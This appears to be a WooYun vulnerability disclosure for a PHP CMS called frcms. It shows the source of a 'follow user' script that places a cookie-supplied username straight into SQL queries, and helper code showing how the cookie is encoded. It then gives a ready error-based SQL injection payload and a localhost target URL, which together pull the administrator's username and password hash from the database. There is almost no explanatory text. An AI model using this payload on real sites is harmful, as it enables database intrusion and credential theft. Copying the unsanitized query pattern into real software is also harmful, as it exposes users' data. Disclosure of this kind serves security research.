WooYun.org

require(dirname(__FILE__).'/../config.inc.php');
if(empty($do)) $do= '';$db=connectdb();
$mid=intval($mid);
if($do=="addatten"&&$mid){
    $username=_getcookie('user_login');
    if($username==''){
        echo 'nologin';exit();
    }else{
        $rs = $db->get_one("select m_id,m_flag,m_name,m_typeid from {$cfg['tb_pre']}member where m_login='$username' limit 1");
        if($rs){
            $attentioner=$rs['m_id'];
            $rsa = $db->get_one("select * from {$cfg['tb_pre']}attention where a_mid='$mid' and a_attentioner='$attentioner' limit 1");
            if($rsa){
                echo 'haveadd';exit();
            }else{
            	$operation=
                $db ->query("INSERT INTO {$cfg['tb_pre']}attention (a_mid,a_attentioner,a_attendate) VALUES('$mid','$attentioner',NOW())");                     
                $rsb=$db->get_one("select m_name,m_typeid from {$cfg['tb_pre']}member where m_id='$mid'");
                require_once(FR_ROOT.'/inc/paylog.inc.php');
                adddynamic($attentioner,$rs['m_name'],$rs['m_typeid'],1,$mid,$rsb['m_name'],$rsb['m_typeid']);
            	echo 'succeed';exit();
            }
        }else{
            echo 'nouser';exit();
        }
    }
}elseif($do=="getatten"&&$mid){
    $attentioner = $db->counter("{$cfg['tb_pre']}attention","a_mid='$mid'");;
    $username=_getcookie('user_login');
    $username&&$rs = $db->get_one("select m_id,m_flag from {$cfg['tb_pre']}member where m_login='$username' limit 1");
    if($rs){
        $rsa = $db->get_one("select * from {$cfg['tb_pre']}attention where a_mid='$mid' and a_attentioner='$rs[m_id]' limit 1");
        if($rsa){
            echo '[关注中]:'.$attentioner;exit();
        }
    }
    echo '[+关注]:'.$attentioner;exit();
}

function adddynamic($mid,$name,$typeid,$operation,$bid,$bname,$type){
    global $cfg,$db;
	$db->query("INSERT INTO {$cfg['tb_pre']}dynamic(`d_mid`,`d_name`,`d_typeid`,`d_operation`,`d_bid`,`d_bname`,`d_type`,`d_time`) VALUES('$mid','$name','$typeid','$operation','$bid','$bname','$type',NOW())");
}

'or char(@`'`) or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(a_user,0x27,a_pass)) FROM job_admin limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) ,0)# or

http://127.0.0.1/frcms/inc/attention.php?do=addatten&mid=2

function log_write($message, $type = 'php') {
	global $cfg, $fr_time, $username;
	$userip = getip();
    $fr_time or $fr_time = time();
	$user = $username ? $username : 'guest';
    dir_create(DATA_ROOT.'/log/');
    $log_file = DATA_ROOT.'/log/'.$type.'_'.md5($cfg['cookie_encode']).'.txt';
	$log = date('Y-m-d H:i:s', $fr_time)."||$userip||$user||".$_SERVER['SCRIPT_NAME']."||".str_replace('&', '&', $_SERVER['QUERY_STRING'])."||$message\r\n";
    $olog=file_get_contents($log_file);
    fputs(fopen($log_file,"w"), $log.$olog);
}

function _setcookie($var, $value = '', $time = 0) {
    global $cfg, $fr_time;
	$time = $time > 0 ? $fr_time+$time : (empty($value) ? $fr_time - 3600 : 0);
	$port = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
	$var = $cfg['cookie_pre'].$var;$value&&$value=base64_encode($value.$cfg['cookie_encode']);
	return setcookie($var, $value, $time, $cfg['cookie_path'], $cfg['cookie_domain'], $port);
}